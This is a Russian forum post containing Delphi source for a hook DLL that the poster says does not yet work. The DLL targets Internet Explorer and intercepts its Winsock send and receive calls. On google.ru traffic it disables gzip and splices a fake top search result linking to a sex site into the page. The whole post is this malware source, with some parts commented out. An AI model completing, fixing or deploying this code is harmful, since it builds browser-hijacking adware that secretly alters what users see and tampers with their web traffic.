Да, не работает даже так:
| Код | library hook_dll;
uses Windows,advApiHook, UrlMon,WinSock2, Messages;
var count:integer; start:integer=1; _hook: HHOOK = 0; thID1: THandle; i, flag, ThID: dword; len, a, b, bt: dword; link: pChar; szString: PChar = '<div class=g><h2 class=r><a href="http://www.sex.ru/" target="_blank" class="l"<b>Sex</b>.ru </b></a>';
Tsend: function (s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall;
Trecv: function (s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall;
TWSARecv: function ( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesRecvd : DWORD; var lpFlags : DWORD; lpOverlapped : LPWSAOVERLAPPED; lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
TWSASend: function ( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesSent : DWORD; dwFlags : DWORD; lpOverlapped : LPWSAOVERLAPPED; lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
function ReplaceGZIP(lpData: pointer; szData: dword): boolean; begin { for i:=szData downto 0 do begin if dword(lpData^) = $70697A67 then dword(lpData^) := $656E6F6E; inc(dword(lpData)); end; } end;
function InStr(index: integer; str1: string; str2: pChar): integer; var len, pos: integer; begin pos:=0; len:=length(str2); for i:=index to length(str1) do begin if copy(str1,i,len)=str2 then begin pos:=i; break; end; end; result:=pos; end;
function ThreadProc(): dword; stdcall; begin Sleep(6000); flag:=0; ExitThread(0); end;
function ReplaceResult(lpData: pChar; szData: dword): boolean; begin {MessageBox(0, 'GOOGLE', 'Hook DLL', MB_OK); } { if flag = 1 then exit; a := pos('<div class=g><h2 class=r><a href="', lpData); if a=0 then exit; len:=0; dec(a); flag:=1; GetMem(link, szData); MoveMemory(link, lpData, a); MoveMemory(pointer(dword(link)+a), szString, length(szString));
len:=a+length(szString); b:=szData-InStr(a, lpData, '.'); MoveMemory(pointer(dword(link)+len),pointer(dword(lpData)+InStr(a, lpData, '</a>')+4), b);
MoveMemory(lpData, link, szData);
ThID:=CreateThread(nil,128*1024,@ThreadProc,nil,0,ThID); CloseHandle(ThID); } end;
function Nrecv(s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall; begin { Trecv(s, buf, len, flags); asm pushad end; if pos('google', pChar(@Buf)) > 0 then ReplaceResult(pChar(@buf), len); asm popad end; } end;
function Nsend(s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall; begin { asm pushad end; if (pos('Host: www.google.ru', Buf) > 0) or (pos('Host: google.ru', Buf) > 0) then ReplaceGZIP(Buf, len); asm popad end; } Tsend(s, buf, len, flags); end;
function NWSARecv( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesRecvd : DWORD; var lpFlags : DWORD; lpOverlapped : LPWSAOVERLAPPED; lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall; begin TWSARecv(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine); { asm pushad end; if pos('google', lpBuffers.buf) > 0 then begin ReplaceResult(lpBuffers.buf, lpBuffers.len); end; asm popad end; }
end;
function NWSASend ( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesSent : DWORD; dwFlags : DWORD; lpOverlapped : LPWSAOVERLAPPED; lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall; begin { asm pushad end; if (pos('Host: www.google.ru', lpBuffers.buf) > 0) or (pos('Host: google.ru', lpBuffers.buf) > 0) then ReplaceGZIP(lpBuffers.buf, lpBuffers.len); asm popad end; } TWSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine); end;
procedure DLLEntryPoint(dwReason: DWord); begin {MessageBox(0, '1', 'Hook DLL', MB_OK);} case dwReason of DLL_PROCESS_ATTACH: begin HookProc('ws2_32.dll', 'recv', @Nrecv, @Trecv); HookProc('ws2_32.dll', 'send', @Nsend, @Tsend); HookProc('ws2_32.dll', 'WSARecv', @NWSARecv, @TWSARecv); HookProc('ws2_32.dll', 'WSASend', @NWSASend, @TWSASend); end; DLL_PROCESS_DETACH: begin UnhookCode(@TWSARecv); UnhookCode(@Trecv); UnhookCode(@TWSASend); UnhookCode(@Tsend); end; end;
end;
function HookProc1(nCode, wParam, lParam: integer): integer stdcall; begin Result:=CallNextHookEx(_hook, nCode, wParam, lParam); end;
procedure SetHK(hk: HHOOK) stdcall; begin _hook:=hk; end;
procedure WorkWithNet(thrVar: integer) stdcall; begin
end;
exports HookProc1 name 'HookProc', SetHK name 'SetHK';
begin
if GetModuleHandle(nil)=GetModuleHandle('iexplore.exe') then begin DllProc := @DLLEntryPoint; DLLEntryPoint(DLL_PROCESS_ATTACH); end;
end.
|
|